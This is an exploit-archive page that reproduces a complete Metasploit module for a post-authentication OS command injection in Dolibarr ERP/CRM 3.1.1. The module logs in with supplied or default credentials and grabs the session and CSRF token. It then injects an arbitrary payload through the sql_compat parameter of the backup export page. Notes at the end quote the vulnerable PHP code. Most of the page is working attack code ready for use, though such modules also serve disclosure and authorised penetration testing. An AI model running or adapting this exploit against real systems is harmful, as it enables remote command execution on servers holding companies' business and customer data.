Dolibarr ERP & CRM 3 Post-Auth OS Command Injection



EKU-ID: 1877 CVE: OSVDB-ID:
Author: sinn3r Published: 2012-04-10 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
   'Description'    => %q{
     This module exploits a vulnerability found in Dolibarr ERP/CRM's
    backup feature.  This software is used to manage a company's business
    information such as contacts, invoices, orders, stocks, agenda, etc.
    When processing a database backup request, the export.php function
    does not check the input given to the sql_compat parameter, which allows
    a remote authenticated attacker to inject system commands into it,
    and then gain arbitrary code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',  #Discovery, PoC
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     ['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
    ],
   'Arch'            => ARCH_CMD,
   'Compat'          =>
    {
     'PayloadType' => 'cmd'
    },
   'Platform'       => ['unix', 'linux'],
   'Targets'        =>
    [
     # Older versions are probably also vulnerable according to
     # Nahuel's report on full disclosure
     ['Dolibarr 3.1.1 on Linux', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 6 2012",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('USERNAME',  [true, 'Dolibarr Username', 'admin']),
     OptString.new('PASSWORD',  [true, 'Dolibarr Password', 'test']),
     OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
    ], self.class)
 end

 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => target_uri.path
  })

  if res.body =~ /Dolibarr 3\.1\.1/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end

 def get_sid_token
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => @uri.path
  })

  # Get the session ID from the cookie
  m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
  id = (m.nil?) ? nil : m[1]

  # Get the token from the decompressed HTTP body response
  m = res.body.match(/type="hidden" name="token" value="(.+)"/)
  token = (m.nil?) ? nil : m[1]

  return id, token
 end

 def login(sid, token)
  res = send_request_cgi({
   'method'   => 'POST',
   'uri'      => "#{@uri.path}index.php",
   'cookie'   => sid,
   'vars_post' => {
    'token'         => token,
    'loginfunction' => 'loginfunction',
    'tz'            => '-6',
    'dst'           => '1',
    'screenwidth'   => '1093',
    'screenheight'  => '842',
    'username'      => datastore['USERNAME'],
    'password'      => datastore['PASSWORD']
   }
  })

  location = res.headers['Location']
  return (location =~ /admin\//)
 end

 def exploit
  @uri = target_uri
  @uri.path << "/" if @uri.path[-1, 1] != "/"
  peer = "#{rhost}:#{rport}"

  print_status("#{peer} - Getting the sid and token...")
  sid, token = get_sid_token
  if sid.nil?
   print_error("#{peer} - Unable to retrieve a session ID")
   return
  elsif token.nil?
   print_error("#{peer} - Unable to retrieve a token")
   return
  end

  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
  success = login(sid, token)
  if not success
   print_error("#{peer} - Unable to login")
   return
  end

  print_status("#{peer} - Sending malicious request...")
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => @uri.path + "admin/tools/export.php",
   'cookie'    => sid,
   'vars_post' => {
    'token'             => token,
    'export_type'       => 'server',
    'what'              => 'mysql',
    'mysqldump'         => '/usr/bin/mysqldump',
    'use_transaction'   => 'yes',
    'disable_fk'        => 'yes',
    'sql_compat'        => ";#{payload.encoded};",
    'sql_structure'     => 'structure',
    'drop'              => '1',
    'sql_data'          => 'data',
    'showcolumns'       => 'yes',
    'extended_ins'      => 'yes',
    'delayed'           => 'yes',
    'sql_ignore'        => 'yes',
    'hexforbinary'      => 'yes',
    'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
    'compression'       => 'none'
   }
  })

 end
end

=begin
Notes:

114    if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137    $paramcrypted=$param;
...
159    $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165    if ($handle)
166    {
....
169    $handlein = popen($fullcommandclear, 'r');
....
185    }
=end